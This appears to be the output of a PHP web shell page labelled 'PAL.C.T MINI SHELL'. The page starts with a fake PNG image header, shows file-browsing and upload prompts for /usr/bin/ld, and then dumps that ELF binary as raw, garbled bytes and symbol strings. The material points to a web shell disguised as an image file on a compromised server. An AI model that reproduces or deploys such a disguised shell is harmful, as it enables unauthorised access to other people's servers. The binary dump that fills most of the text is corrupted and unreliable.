php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/bin/
upload
files >> //usr/bin/ld

ELF 44 (444444P
P
P
P
HHHDDPtdpspp\
\
Qtd/lib/ld-linux.so.2GNUGNUut&*=H]F@")0TL()3"
Uf2t
|qX@K|pTŹ@D8ĉCEV&ݣkgUa{G}
E)`
		iW|

	% 4 H	#
~D	rt
-
g	t	
}


?	
. o
	E	eB
3P	
#	MT
		`
4		
	0^G	a	:
bg
	!Mo	e	{
,w

	
TVP
	0	w'	vn
Z	G

YG	hWH-DLЩ8	\
Gp'PQp#X
o[
D/g
 ]
Y
;
\
]
!X
4g

]
4
]
]
!	]
X
I\
	]
libbfd-2.20.51.0.2-5.48.el6_10.1.so__gmon_start___Jv_RegisterClasseshtab_find_slotbfd_elf_set_dt_needed_namebfd_getb64bfd_link_add_undefbfd_check_formatbfd_hash_newfuncxexitbfd_target_listxstrdupbfd_get_archbfd_make_section_anyway_with_flagsbfd_set_gp_sizecplus_demangle_name_to_stylebfd_emul_get_commonpagesizebfd_und_sectionbfd_search_for_target_sch_tolowerbfd_set_errorbfd_get_reloc_sizebfd_set_error_program_namehtab_hash_string_sch_istablebfd_elf_get_dt_sonamebfd_section_already_linked_table_initbfd_elf_set_dyn_lib_classxmalloc_set_program_namebfd_check_format_matchesbfd_closebfd_elf_get_bfd_needed_listxcallocbfd_errmsgbfd_elf_size_dynsym_hash_dynstrcplus_demanglebfd_openr_next_archived_filebfd_new_link_orderbfd_hash_set_default_sizebfd_abs_sectionbfd_hash_lookupbfd_section_already_linked_table_freebfd_arch_mach_octets_per_bytebfd_cache_closebfd_get_section_by_namebfd_elf_get_runpath_listlrealpathbfd_emul_set_maxpagesizebfd_map_over_sectionsbfd_elf_get_dyn_lib_classbfd_scan_archbfd_bwriteunlink_if_ordinarybfd_elf_get_needed_listxmalloc_bfd_elf_map_sections_to_segmentsbfd_get_unique_section_namebfd_putl16bfd_arch_get_compatiblecplus_demangle_set_stylebfd_elf_size_dynamic_sectionsbfd_set_default_targetbfd_link_hash_lookupbfd_set_format_bfd_elf_match_sections_by_typexreallocbfd_emul_get_maxpagesizebfd_elf_discard_infobfd_get_reloc_code_namebfd_set_error_handlerbfd_putl32bfd_coff_get_comdat_sectionbfd_octets_per_bytebfd_link_hash_traversebfd_emul_set_commonpagesizebfd_seekbfd_record_phdrbfd_hash_table_initbfd_generic_link_read_symbolsbfd_hash_allocatebfd_scan_vmabfd_get_section_by_name_ifbfd_getb16lbasenamebfd_statbfd_hash_traversebfd_i386linux_size_dynamic_sectionsbfd_demanglebfd_putl64bfd_hash_table_free_bfd_fix_excluded_sec_symsbfd_wrapped_link_hash_lookupbfd_get_errorbfd_make_section_with_flagsbfd_getb32bfd_get_section_contentsbfd_reloc_type_lookupbfd_openrbfd_openwbfd_hash_table_init_nhtab_findhtab_createobjalloc_free_blockbfd_elf_record_link_assignmentbfd_set_start_addressbfd_initbfd_printable_namebfd_canonicalize_relocbfd_get_reloc_upper_bound_finibfd_make_section_anyway_bfd_elf_tls_setup_xexit_cleanuplibz.so.1libc.so.6_IO_stdin_usedglobfree64strcpy__rawmemchr__printf_chkfnmatch_IO_putcstrncmpoptindstrrchr__strdupdcgettextglob64ftellstrncpy__stack_chk_failstdinsbrkrewindstrtolisattyfeoffgetsstrlenstrstr__errno_locationfseek__fprintf_chkstdoutfputcgetrusagefputsmemcpyfclosestrtoulstrcatstrcasecmp__xstat64getenvoptargstderr_obstack_newchunkgetopt_longfilenofwritefreadstrchrobstack_freeqsort__sprintf_chkmemmovefopen64_obstack_beginbindtextdomainaccess_IO_getcopterrstrcmp__libc_start_mainferrorgetopt_long_only__environ_edata__bss_start_endlibiberty_concat_ptrGLIBC_2.2.3GLIBC_2.4GLIBC_2.2GLIBC_2.3.4GLIBC_2.1GLIBC_2.0si	Iii
Uii
_ti	iii
uii
P
P
Y
P
QP
\
P
X
[
\
\
]
]
]
]
]
Q
Q
Q
Q
Q
 Q
$Q
(Q
,Q
	0Q

4Q
8Q
<Q
@Q

DQ
HQ
LQ
PQ
TQ
XQ
\Q
`Q
dQ
hQ
lQ
pQ
tQ
xQ
|Q
Q
Q
Q
 Q
!Q
"Q
#Q
$Q
%Q
&Q
'Q
(Q
)Q
*Q
+Q
,Q
-Q
.Q
/Q
0Q
1Q
2Q
3Q
4Q
5Q
6Q
7Q
8Q
9Q
:Q
;Q
<Q
R
=R
>R
?R
@R
AR
BR
CR
D R
E$R
F(R
G,R
H0R
I4R
J8R
K<R
L@R
MDR
NHR
OLR
PPR
RTR
SXR
T\R
U`R
VdR
WhR
XlR
YpR
ZtR
[xR
\|R
]R
^R
_R
`R
aR
bR
cR
dR
eR
fR
gR
hR
iR
jR
kR
lR
mR
nR
oR
pR
qR
rR
sR
tR
uR
vR
wR
xR
yR
zR
{R
|R
}S
~S
S
S
S
S
S
S
 S
$S
(S
,S
0S
4S
8S
<S
@S
DS
HS
LS
PS
TS
XS
\S
`S
dS
hS
lS
pS
tS
xS
|S
S
S
S
S
S
S
S
S
S
S
US[Ät^ĢX[5Q
%Q
%Q
h%Q
h%Q
h%Q
h%Q
h % Q
h(%$Q
h0%(Q
h8p%,Q
h@`%0Q
hHP%4Q
hP@%8Q
hX0%<Q
h` %@Q
hh%DQ
hp%HQ
hx%LQ
h%PQ
h%TQ
h%XQ
h%\Q
h%`Q
h%dQ
h%hQ
hp%lQ
h`%pQ
hP%tQ
h@%xQ
h0%|Q
h %Q
h%Q
h%Q
h%Q
h%Q
h%Q
h%Q
h%Q
h %Q
h(%Q
h0%Q
h8p%Q
h@`%Q
hHP%Q
hP@%Q
hX0%Q
h` %Q
hh%Q
hp%Q
hx%Q
h%Q
h%Q
h%Q
h%Q
h%Q
h%Q
h%Q
hp%Q
h`%Q
hP%Q
h@%Q
h0%Q
h %R
h%R
h%R
h%R
h%R
h%R
h%R
h%R
h % R
h(%$R
h0%(R
h8p%,R
h@`%0R
hHP%4R
hP@%8R
hX0%<R
h` %@R
hh%DR
hp%HR
hx%LR
h%PR
h%TR
h%XR
h%\R
h%`R
h%dR
h%hR
hp%lR
h`%pR
hP%tR
h@%xR
h0%|R
h %R
h%R
h%R
h%R
h%R
h%R
h%R
h%R
h %R
h(%R
h0%R
h8p%R
h@`%R
hHP%R
hP@%R
hX0%R
h` %R
hh%R
hp%R
hx%R
h%R
h%R
h%R
h%R
h%R
h%R
h%R
hp%R
h`%R
hP%R
h@%R
h0%R
h %S
h%S
h%S
h%S
h%S
h%S
h%S
h%S
h % S
h(%$S
h0%(S
h8p%,S
h@`%0S
hHP%4S
hP@%8S
hX0%<S
h` %@S
hh%DS
hp%HS
hx%LS
h%PS
h%TS
h%XS
h%\S
h%`S
h%dS
h%hS
hp%lS
h`%pS
hP%tS
h@%xS
h0%|S
h %S
h%S
h%S
h%S
h%S
h%S
h%S
h%S
h %S
h(%S
h01^PTRhChCQVhUSd$=]
u>P
]
P
9st&]
P
]
9r]
d$[]Ív'Ud$P
tt	$P
ÐUd$xa
]u]uO0^
v\$$E*]u]Ë]
\$D$$E]u]Ív5f
D$D$D$F$t$ʟ끐&USÍd$~FD$ED$D$$$D$KD$d$[]Ít&D$ED$D$$븍vUVSÍd$\
D$ED$$9w-f[D$\
D$	FD$$y9sա\
D$_D$$Xd$[^]US
Fd$܅DËHd
tTD$\
UMD$DD$$
\
MU\
D$_D$$d$$[]É'UWVS$d
Hd
<`d
ELd
DžDžDž1DžfJ9'(Dž'='GD${(+L$D$4$|$DD$$^9t$FHd
҉C~9'Hd
'Vt]Ld
3K=zw\Hd
j7=.w ^9"z.=Hd
)ÉE̋CEЋCEԋCE=Z
Hd
T)ً)?`CE̋CEЉBEԉBE؉Bm@ف.@t&lp=&*Et&vV=t@=.wf ^tA;@RGnHd
t뛍vl~ơPd
=Hd
DžTd
CXd
C\d
C\
D$FD$DD$$6@\
\
D$_D$$k=Ld
tPd
rGa5Hd
9t<[v@G9uߋ9t$$[^_]Í&\
\$D$CFD$$f$ Qf;	 ^l	lgt&=Ld
M@GPd
fLd
=Hd
"5Ld

Hd
1Ld
\
D$hFD$$At&\
D$~FD$DD$$Pd
\
\
D$_D$$>\
L$D$&FD$$t&\
D$FD$$fD$ED$`D$ЃD$\
$81	@ \
[D$F\$D$$\
v\
D$_D$$9t&\
D$+GD$DD$$\
	`M̉\
D$_D$$I
Hd
))ɉM97t&`d
$3GHd
? Pd
Ld
Td
AXd
A\d
A[\
D$VFD$$K؉"&K#D$CD$C$]$赠!0^
)D$D$F$]
0^
[0^
"/-0^
D$D$4E$O$\$ӓTDf
FED$B$X)D$A$<
D$C$ $;D$B$D$A$D$C$D$G$lD$B$PD$A$s4D$C$W$D$D$B$D$D$A$j$5$0v$w mD$$/oP$;$&$$k$$E$$$̦mrfaQG$;D$B$ܓD$A$lD$D$D$C$nD$GD$GЉD$G$TnD$B$6d
xd
i莛_tt&QA$zm; $蠖!VG$tD$$MD$$0CD$CЉ$賥D$D$$D$D$$٣ZD$D$$责5D$D$$菣D$D$$jD$D$$ELe
Le
EMCLe
Le
Le
ljE}uBLe
bLe
Le
EMCCLe
0D$G$j&6BD$BЉ$V$覙EE/DE̲FEEEEE̋GEtBEEEUAEEE6CEEEGEEEBEEEAEEECEE̋CЉE$WPEx$v@ES$QxދSE($&xEEEܡ]
D$EED$$]
D$B$D$輘]
D$AD$ȃ0$蔘u]
f]
W$F$5$d
ɖCD$CЉ$\G$v&BD$B$R${$&ljE}iEMQljE}9EM!ljE}	D$FD$$pEEEE+E-E*E/EE}E&qE|eD$CD$C$Q$	:GD$$qD$\$G$rD$GD$$=Q$跔D$BD$BЉ$2Q$芔D$AD$AЉ$Q$]D$$]
l]
D$D$D$$GB$<vE:$蟎 Ut&]
D$FD$D$$mC]
SPHPH ]
D$FD$D$$mCS]
D$D$D$$G$cuEaD$D$]
$jm;D$D$]
$DmB$l$Mq$8q$#q$.q$d$dE$QPE]$[SPE9/dE$-D$|nEAECD$CЉ$KnE$!D$+nEE$~D$mEyD$CD$$*nERD$GD$$/nE+D$BD$$%nED$AD$$+onED$CD$$-HnED$GD$$!nED$BD$$mEhD$AD$$mEAD$CD$$mED$GD$$mED$BD$$^mED$AD$$<7mED$CD$$>mE~D$GD$$&lEWD$BD$$^lE0D$AD$$|lE	D$CD$CD$$?kED$GD$$FlED$BD$$
lEA$7D$njElCD$S$T$KEFD$$),jE*B$>D$jE	A$=D$iEC$?D$iEG$@D$iEB$yD$iEA$ZD$iEdC$D$iECGD$GЉD$$jEBD$BЉD$$$jEAЉD$AD$$%]jEC$&D$,iEG$D$hD$GD$$.jErB$D$hEQ$D$3hE1CD$CЉD$$AiE	GD$GЉD$$BsiEBD$BЉ$GEA$ID$gEC$KD$gEEoEcBEREFAE5E)CEEEuEvEwE
&GD$GD$GЉD$GD$]
D$GD$G$9zJkt&BD$BD$BЉD$$v7]
D$D$D$GG$lEt&+
AD$A$nt&CD$CD$CЉD$D$@D$P$2sH&aD$Q	D$$=E$/
$蔃J]
]
]
]
]
]
]
AEECЉEtGEcBEREFEE3EE EEFE$@PSE$	&{		BD$$TuJ	kt&	\@PT$PT$@D$AD$AЉD$A$E̋x8p1[t3@4$D$u$D$KDED$F4$OD$F4$7$QtdD$CEi1UXD$F$uzD$F$uyD$G$GEBED$$WED$B$WE_D$A$WE>C$D$WEGD$G$oWE]
D$D$$D$fE]
D$D$$D$fE]
D$D$D$C$mfEk]
D$D$D$G$=fE;]
E̋B]
  C‹uGE̋GУ]
]
E̋B]
AE̋AУ]
]
D$D$D$G$eE]
D$D$D$GC$XeEV]
D$D$D$G$+eE)^-0^
]&;D$G$D$`D$BD$B$`AD$AЉD$A$\`$D$[EmD$G$[EN0^
)D$D$$]
0^
[0^
<-0^
C$SU0^
)D$D$G$]
0^
[0^
EAE|\
D$FD$DD$$[Pd
\
\
D$_D$$-i$aG'C0<,D$D$E$$\$CtD$D$lE$$t$t$D$>E$PtdD$=EdEXELU]ÍUSEt=P@PB\^
H҉H@@,t`^
;t[]Ðt&Pt^

h^

ld
@^
[p^
]É'US
]ÍU@^
]ÍUD^
]ÍUdd
]ÍUld
]ÍUES
]ÍvUE@^
]ÍvUED^
]ÍvUH^
]ÍUEH^
]ÍvS
P^
US
P^
]ÍS
P^
US
P^
]ÍS
P^
US
P^

]ÍS
P^
US
P^
]ÍS
P^
US
P^
	]ÍS
P^
US
P^
]ÍS
P^
US
P^
]ÍS
UP@S
P^
]Ðt&Ud$CvUd$3vUSd$]tY\^
t
`^
;t;Cu]d$[]C$]d$[]&뽍d$[]ÐUd$\^
tm`^
t`$k`^
\^
uEt>`^
t1Pt^
Ph^
ld
@^
x^
p^
ÐR`^
밐t&Ud$\^
t5`^
t($\^
`^
4\^
uˉ$\^
`^
d^
h^
T^
P^
@^
D^
1
Ud$#vUd$D$\
D$YD$$$lUd$\^
]}d^
S;`^
v
]}]Ív[$T$\^
d^
< u{1u%ud^
]}]d^
됍t&ft$d\^
tWd^
`^
7t&fRu`v\^
/\^
똍vUd$؉]]ۉu}\^
`^
Et2=h^
5p^
0~=t^
~tM
`^
Ct^
Ch^
ld
@^
x^
p^
]u}]Ð`^
뷍USd$]\^
1҅t	`^
9tatd`^
t
h^
p^
J
t^
JCt^
Ch^
ld
@^
x^
p^
d$[]á`^
뾍UWVSd$X^
	}T^
S

\^
 _
1҅^
&t	`^
<$^
S
@X^
$0ÉpF$C
|$$SFD2SD2CC]CCCCC(C,d$[^_]bf$TkX^
v'Ud$ȉ]]}u}w1]u}]Ít&|u|u$0&‰tB[zZzBZBBB(B,$뉸U_U묍v'UWVSd$ԋu}V$UËUtP~1v@9uD33$T$tC؍d$,[^_]ø/U롍v'USd$]$D$$Qd$[]Ív'Ud$ȉ]uÉ։}GNjE$\^
1҉3C(t`^
9tC C$t54$ݽ$U~ES]u}]Í&1UVSd$u$0HtBsv4$4Ct؋UCd$[^]f׍t&벍t&UVSd$X^
	]uwgS

\^
 _
1҅ɉ4^
t	`^
$^
@^
@D$@X^
S
Ed$[^]@$D4hX^
농'USd$\^
tO`^
tBU*\^
`^
Bt^
Bh^
ld
@^
p^
d$[]`^
@^
\^
D$@$g\^
1t`^
zUd$ȋ
xa
]eE1ɉuubY
u'uD$D$MD$D$4$\$t$$fEe3u1]u]Ð$ܻf
$dD$fx
'UWVSd$ԋ
\^
`^
5t^
h^
=ld
}EPt29p(u +]Íd$,ۃ[^_]Ís+u~1]@9uU]x,PuNt&W~nG@D$G$GtC)
\^
á`^
Uh^
ҋP>1t`^
<GwuGMG뮉ЉG뉍t&u1ۅɋxt^
E؋
@^
  L$D$Nڍ<7\$<$9ãt^
`^
1\^
:G0;OG
t^
Ht^
D@ld
d$,[^_]øUs
\^
`^
5ld
h^
uU܍Et^
@`^
t^
\^
0:;OG,PL$G$`^
G\^
@
t^
f@^
$t$c`^
t^
\^
1ۅ:GDv@^
$`^
t^
\^
:v@82`^

t^
\^
@cUd$p^
]h^
uu\^
`^
@t^
9s&Sh^
Sp^
]u]ÍC5ld
h^
,¸t׃tth^
뭋@^
E$E)ld
h^
뇉'Ud$3t*t!
uS
u*u*t/t
tЃu$S2bUWVSd$ġhd
t5hd
vD$0D$$ibf$5T^
h^
p^
]P^
`ߐft2|^
=^
%`=6~`ɍ
	9u	`f	끋P^

@^
۸EP^
T^
P^
zD^
]\^
`^
I
t^
Xh^
ld
@^
p^
z&d$<[^_]Íd$<s[^_]Íd$<i[^_]Íd$<h[^_]Íd$<j[^_]Í&}u|^
^
ډ=ld
)dd
p^
h^
=vht&$S
f`^
@^
\^
D$@$`^
\^
]
D^
]
@^
wld
}8/x*p^
=ld
£h^
)dd
Wp^
Gh^
Jld
P^
mld
$蠻Pd
nQld
$脻Pd
o5Pd
ll!Pd
qq
Pd
ppld
p^
+ld
\^

`^
ڋx,uH
t^

@^
@,@t^
9h^
wUU5X8ld

ld
ӡP^
h^
M9"2t<ft
|^
^
`<7}?9t`=6~ʋMR	yD^
D$D$dd
D$ld
$gld
$ѹdd
Pd
Dwld
$觹Pd
Xld
$苹Pd
<ld
$lPd
ld
$PPd
ld
$4Pd
Pd
ZZPd
YYPd
XXPd
mmPd
llPd
kkmPd
aaYPd
__EPd
^^1Pd
bbPd
[[	Pd
ffPd
eePd
ddPd
WWPd
Pd
QQPd
]]}Pd
ZZiPd
YYUPd
XXAPd
mm-Pd
kkPd
aaPd
__Pd
^^Pd
bbPd
[[Pd
ffPd
eePd
ddyPd
WWePd
QPd
QQ=Pd
]])X^
1҉X^
^
$X^
^
 _
S
f
S
Pd
\\ld
|oPd
yyPd
xxld
q2p^
|^
^
Pd
++7Pd
--#l^
l^

ld
ld
l^
Pd
ttPd
UUPd
TTPd
SSPd
RRPd
  uPd
//aPd
KKMPd
KK9Pd
II%Pd
IIPd
wwPd
vvPd
uuPd
66Pd
55Pd
44Pd
33Pd
22qPd
'']Pd
((IPd
''5Pd
66!Pd
HH
Pd
GGPd
Pd
Pd
Pd
Pd
Pd
FFPd
EEmPd
DDYPd
,,EPd
**1Pd
CCPd
JJ	Pd
##Pd
""Pd
!!Pd
Pd
--Pd
++Pd
PP}Pd
LLiPd
77UPd
VVAPd
NN-Pd
MMPd
OOPd
99Pd
88Pd
==Pd
::Pd
..Pd
))Pd
))yPd
<<ePd
llQPd
;;=Pd
``)Pd
BBPd
AAPd
>>Pd
@@Pd
??Pd
&&Pd
%%Pd
$$Pd
uPd
KKaPd
MPd
9Pd
rr%Pd
IIPd
11Pd
00Pd
;;Pd
::Pd
((Pd
))Pd
{{Pd
}}qPd
==]Pd
<<IPd
%%5Pd
//!Pd
--
Pd
++Pd
**Pd
??Pd
!!Pd
~~Pd
||Pd
&&Pd
,,mPd
>>YPd
EPd
1Pd
Pd
			Pd


Pd
Pd
Pd
Pd
Pd
Pd
}Pd
iPd
UPd


APd
-Pd
Pd
[[Pd
]]ld
1Ҁ8$T$D$$]Pd
Td
É֡dd
ld
Xd
Lm5Td
Pd
~dd
ld
L
B6w
ɋ@T$D$$ӪPd
Td
Xd
$ld
D$D$$蔪Pd
Td
Xd
Pd
==ld
$Pd
ld
ld
P^
l^
Mkt	K

5Td
Pd
S6=6[Uh^
`^
\^
ld
щ׋Xt^
h^
P^
91EtUftd|^

^
U`uuuuu69t`=6~ˋu뾋UIkUP^
ld
h^
x^
ld
P^
Ӌld
h^
щ9v~1EtUf|^

^
U`uuuuu69ta`=6~ˋuft^
|^
h^
`v69`ۋUI&U]$XPd
	P^
@:0t
B<Xt<xuR$
Xd
UWVSӍd$ĉED$E$D$ƋE׀8EЋf
ۉEu
5t&t*CUԉT$$us{d$<[^_]Ðt&$TËEԉCf
s{Cf
4$|$UЉ\$D$$Wd$<[^_]fD$D$$̢$\$PJ1t&'UWV1S$4$谦E$p	衦E$p	2E܋E-1Dž\?vUv<|||@ =t}tM[Jtƃu\U\<||@ |=uEE\EE܉D$\D$t$E$D$ED$5}}ut&@ӋL8u4Y:u(I:
u9v		Y
uD9w}ut&[9vi8-uxluxt$$躤‹$LD$D$D$D$L[9wDž\DžX&9\
tUMT$$4uE؉D$EUD$ME]
\
D$T$$?4$4uv{D$D$<$蟟$'G]
D$D$$
\9\
>OM:[_U:[P$E؋UD$ME܉\
D$D$FT$$Z+e
\t	8X\tV\
vt?pD$:4$葜t>t݉LD$4$_ILu$=$[^_]À
`e

`e
f
f
0f
f
5e
=4$`]
P$LFLTlj!@f
4$D$辛tBƃt;|$t$$胢u>t@f
8uTf
t&TPD:$蠡ơ]
D$D$<@f
D$D$e
D$D$4$ѡe
$5e
SG\BD$D$$$|DXe
Le
Le
|]
$jd
[
ce
O%ce
C
ce
7%ce
+]
D$D$$vo`f
df
e
e
T
pe
]
e
]
e
5]
D$=4$诙'>ztzu*D$D$($蛛$#C5]
)T$蛟ƋT4$D$]
D$kTUDD$T$<$蹞щ‹EԀ8$L$D$D$4$	P]
$']
$0$T
te

ae
~te
o%ae
c
ae
W
ae
K|e
<]
D$D$$臛e
d
<f
0f
f

be
%be
e
e
]
5La
$]H5La
hd
=e
t
e
=e
`e
Q1=e
t
e
=e
,e
1=e
t
e
=e
e
=e
e
e
f
f
(f
(f
 f
xf
i$f
Z]
D$D$$蝙Lf
+]
nD$D$$辛Pf
Tf
]
z$D$L趝L,f
T
4f
e
t
]
QTT=<e
A4e
2T
#e
]
|]
g$0d
Te
T
$0${5La
]
$XE5La
hd
v]
,e
g]
R]
=
`e
1$=0d
|e
]
u@]
\t\$ʕ]
$-\]
Tf
]
$Jy]
$4Dhd
Xd
I]
D$$\/(e
81ɅzI4u<4T$$譚]
(e
80
ce
df
`f
`f
df
]
8ue
t	:je
s9\

`e
f
f
0f
f
3]
D$D$$P
ce
f
f
]
D$$]
e
]
D$$>Df
F0f
f
f
w]
D$D$$”ae
ƒ	Тae
?]
tD$L$$E%=@]
D$D$$Oxe
La
Pa
]
$Ahd
6Pa
]
$<
`e
 ]
$e
r]
MD$L$$输T
EԀ8E5]
D$D$+$[$t$9Xg<DžXE4D$D$$$t$9:xe
He
]
$:O$+d
r
ce
f
`e
ZXUDDžX8|e
)d
d
Ta
f
4e
]
D$D$D$$d
f


`e

be
]
T!	pe
te
Me
> e
$衑ơ]
$蒑D$fơ]
D$D$<@f
D$D$ e
D$D$4$藔 e
$躏5 e
f
Q	
`e
%be
=pe
T
	=te
rte
c=pe
T
	=te
?te
0]
$d

ae
@]
L^
$^hd
_
e_
L^
]
De
$荋u.=]
D$D$$赎$|$964$Qd]
0e
U
]
TT1TD$$TD$$TD$!$דD$D$$T$T$q5t&f
]
$xf
D$D$F$蕍D$\$$AD$D$c$eD$$Dž\v\TD$IE$׊\\1T$D$SD$m$萊VҸ~t#LD$JE$[ULT$LD$$qD$D$D$LD$T$$;$søV(v t܃~tօT$D$_D$m$藉]
Df
De
w%ae
kd
\%`e
Pe
Ad]
[D$$ @u㋍TD$L$$-D$D$Y$Ո\\D$D${$݊D$$荈t&]
[D$$ 蠏uD$D$$菊D$$?xf
D$D$$]D$\$$	Ƌt%f[D$D$Z$݇u߉4$ωD$_$軇xf
D$D$$ىD$\$$腇]
$h D$_$dxf
D$D$$肉D$\$$.]
$aD$_$
D$D$$1D$D$$ن$譎t&\\d|$T$D$SD$s$|DžX<$Xd`~…dteD$|$$lD$D$Z$D$|$$<$tdTd[Vv ~t܋tՍRF҅҉`_Eх|$T$D$_D$s$gDžXD$_$1BTD$$'1T
pe
te
TD$D$<e
,f
TD$$蹌tTD$$蟌vf
D$D$`$謆$4.gpe
D$D$C$t$-/pe
D$D$$<$-D$D$`$$-Lf
8f
Pf
Tf
D$D$$賅$;-nLHD$D$$~$|$-HL8D$D$p$ET$T$,TD$$؊T
pe
te
D$D$#$ۄ$c,/LD$D$$謄L$T$*,]]
$踈 e
FD$D$$bT$T$+D$D$X$/$+TD$
$̉T
te
pe
]
$e
1$ׇ]
(e
@fD$D$$L|$+5]
LD$D$,$GT$T$*UEt@]ÍU1]Í&Ud$]u:
t1]u]H:JuH:JuX1:Zu׍v\*]tt
I8]t붸뱍t&'UE@]
UWVSd$ԋu}pd
@Etp1҉ÉUCsLt-ҋpt&|$D$e
U܉L$$҅Ut3wE@DÉE[u׋UFƒ`E1ҋ]UCsLt-ҋpt&|$D$e
U܉L$$҅Ut3wuMCL@DˉM[u&׋UE1d$,[^_]Ív@@`]1҅Ut&CsLt-ҋpt&|$D$e
U܉L$$҅Ut3wEDÉE[u6MJ0ҋ]UCsLt-ҋpt&|$D$e
U܉L$$҅Ut3wE@DÉE[uv]1ҋ]UCsLt-ҋpt&|$D$e
U܉L$$҅UtG1ƁtCN@tu][uJfMtff1ҋ]Ut&CsLt-ҋpt&|$D$e
U܉L$$҅Ut3wE@DÉE[u1]MЉd$,[^_]1҃}M1ҋqYLt^1À DыIu&U
pd
VSt91Ƀzv[^]ÍvZ$2u4Z{t+[;.u#u{u&Ћu뷍Ћ1u륍t&tRttBt[^]Í&Ћ1Ʌeft&Ud$UEMB u*@4@tfPE`e
ME&@E`e
Mdv'Ud$$t$EHXEPp9ws$t$]Í9r9Ѹws1$t$]Ít&9wv'Ud$$t$|$EUX(J(9ˋx$r$s$t$|$]v$t$|$]f9r9sR9P|w9vʐ&U]Ít&'UVSd$d
ۋutf$֋[ud$[^]Ít&UVSd$_
ۋutf$֋[ud$[^]Ít&UUuE_
T
]f_
t]Ðt&Ua
tt&PHPH @$@upd
tt&`T@ue
@dt"P,H0P4H8@,@0@u]Í'UUEJtH ]Í&UUBLt;
e
t]ÍvfxxBu%=t؋B0B,tЋE]Ív'UEu

_
uUxd
_
]Ít&xd
uUxd
_
&'UES
]ÍvUSUt'
t`
&<FRD˄u
t`
[]Ð&UE_
]ÍvUEMP
UP]Ív'US]EۋUMu,ҋe
uu.[d
]Íu鍴&d
t[]ÍvDʐ&USd$
e
ɋ]t 	&‹ud$[]D$$~@/e
Ս&Ud$D$<$~@8/@0UPUPÉ'Ud$E@D$E@$~Í&Ud$ED$E$~Ít&'UVSӍd$…t
u{v1d$ [^]ÍC$2C4$D$UN~U[믐t&Ct4$D$%~d$ [^]Ðt&SftRd$ [^]Ðt&SFuS8d$ [^]Ë[2Cu4t&S̰&t&USd$t2?t@*t;[t6?t+*t&[t![uT$$S}d$[]ÉftD$T$$ |d$[]É'UVƍBSӍd$zuRQ1t98tG9t$P1e
d$[^]ËQM
Mtd$1[^]ÍUVSÍd$`e
ttP\$$xu"3`
u(t"Cud$[^]Í&d$1[^]Í&'Ud$$t$]ueuSLt$t$]Í&CufT⍶UWVSd$ċU}BuEuUB]t,MQRuiMQJtLUE܉D$uB$txu,t&C8< tCt$$zt؋Mt
MA|EXu5HC8< t<MDD$L$$yttSt:*uzuv;}t<${t;ut4$ntd$<[^_]ÍvU냐ED$$5s<$D$sMAfEPU$UU܉T$;wt>}ԉuvC8<Ct$$ytԉ}ԋMQRUE܉D$}B$vu0t&C8<TC|$$PytԋMQU}B}E}ԋP'Ud$$]wd
UPd

ae
@ÐUVSd$`
ۋuu(t"Ct$$xud$[^]Í&$vÉ4$vC`
`
d$[^]fUWVSd$u$vNjd
Eۉu,t&t"Ct$$+xu_d$[^_]ÐD$D$P6$<r$t$d$[^_]Ðt&USd$l`
]t$D$D$A$q$x`
XXH!l`
d$[]ÍUVSd$E]Up,(Du2RfD$D$6$|q$[t"@<7w$3[uvd$[^]Ã Ǎv뿍v뷍v믍vUd$]u]u}]ԉuЋZr ]uZr9u]uZr]؉u܋]؋u]u]؉u܋}؋u3}3u	@
MUD$D$6$tpMUĉL$T$MU|$T$L$$]u}]Í&9]RZr]؋]+]u܉]ȋu]u9މur3u9uv&&uuu=J0u@B028D$D$6$o$t$|$\$%DUWVSd$ċ8E6U1ɋZ&PP	ӅuEɉXuExd$<[^_]D$D$p,D$;$rUUԉBЃۉEufU܉]܉]tqECtUD$\$B$t8tfCEt&E2G8tc7tFST$$Ctt׉3]ut&E܋UBUԉd$<[^_]ÍvUԉ]ԉY1f$mCt&'UWVSd$ԋEEEuE؅_EEUU܉E8uEd
D$D$7$m$LU܉Ud$,[^_]imd
tVC8tuftACt$$;suD$D$`7$[m$t$uE܃E܃E܋xd
ƍF G^$tgu
&tRCw4$D$ruC2G8uD$D$7$l$t$)uvu6s5d
?YU܋zIvFG^tgu
&tRCw4$D$quC2G8uD$D$7$k$t$quvu6s5d
?[E܋U؉P,UP:nUܡ(a
(a
Bd
t&6uU܉d$,[^_]f|$$lntunCw4$D$pTC2G8uD$D$7$k$t$맍&|$$mMut&6Cw4$D$tpC2G8uD$D$7$j$t$	맍&G#6ft&GK6f*E@d
XvUd$E@E:ov'UWVSd$ċUE}UЉEu$mËUЉU@UCU҉SuD$K4$kttD$B4$k|D$B4$ku C]ǃ Cd$<[^_]vD$D$7$i$t$C]ǃCd$<[^_]vC]ǃCd$<[^_]v$j$lUE܉Euԋ}E11RG1Ʉt'u<*t4<?t0<[t,1ɀ:\Ruىu؋E؅ut,E܋uԉ$gCEcC|U܉$gEEX&'Ud$D$D$BD$B$$D$D$BD$%B$Ít&'Ud$D$D$BD$6B$u$D$D$BD$IBU$]Ít&'Ud$a
t(D$9$WBlEa
Ea
f
a
u΋ a
ufUSÍd$<e
t)tCt8wuCud$[]Ðt&
tu䡜d
؋Ctϋ
<e

HtPtrut&u@ؐt&u@fD$
$WB|d$[]Ðt&UWVSd$EuXx9{t1D$$WBA&9{$uCT9tuyud$1[^_]Ívd$C[^_]Ít&UVSӍd$u!Et&D$$WB
t&$փ{wۋC$3Suڍd$[^]Ëd
뽐S밍t&Ud$`
Ejv'Ud$D$D$D$E]D$e
u}$atv{v]u}]ÍvECD$e
$atq
_
x0p,1 EEpx {sCX
]u}]Ðt&D$D$7$,d$a&CC말&USd$܋ED$D$e
D$D$$`tN{vd$$[]ÐECD$e
$`tIP @CSCX
d$$[]Í&D$D$7$\c$
fCCUSˍd$D$"ML$RT$@EE$giEEd$$[]Ð&U1d$e
t҉$T$`É'UWVSd$ĉEEXucv‰5uA[tJuߋVt!FtًtϋPvufd$<[^_]Í&Et$D$ED$E|$$Ud$<[^_]Ð&UWVSd$E}p$GXdu
:[t2FtEىD$ED$E4$[u΍d$[^_]Í&'UWVSd$ԋU}BpdtX_uR&t
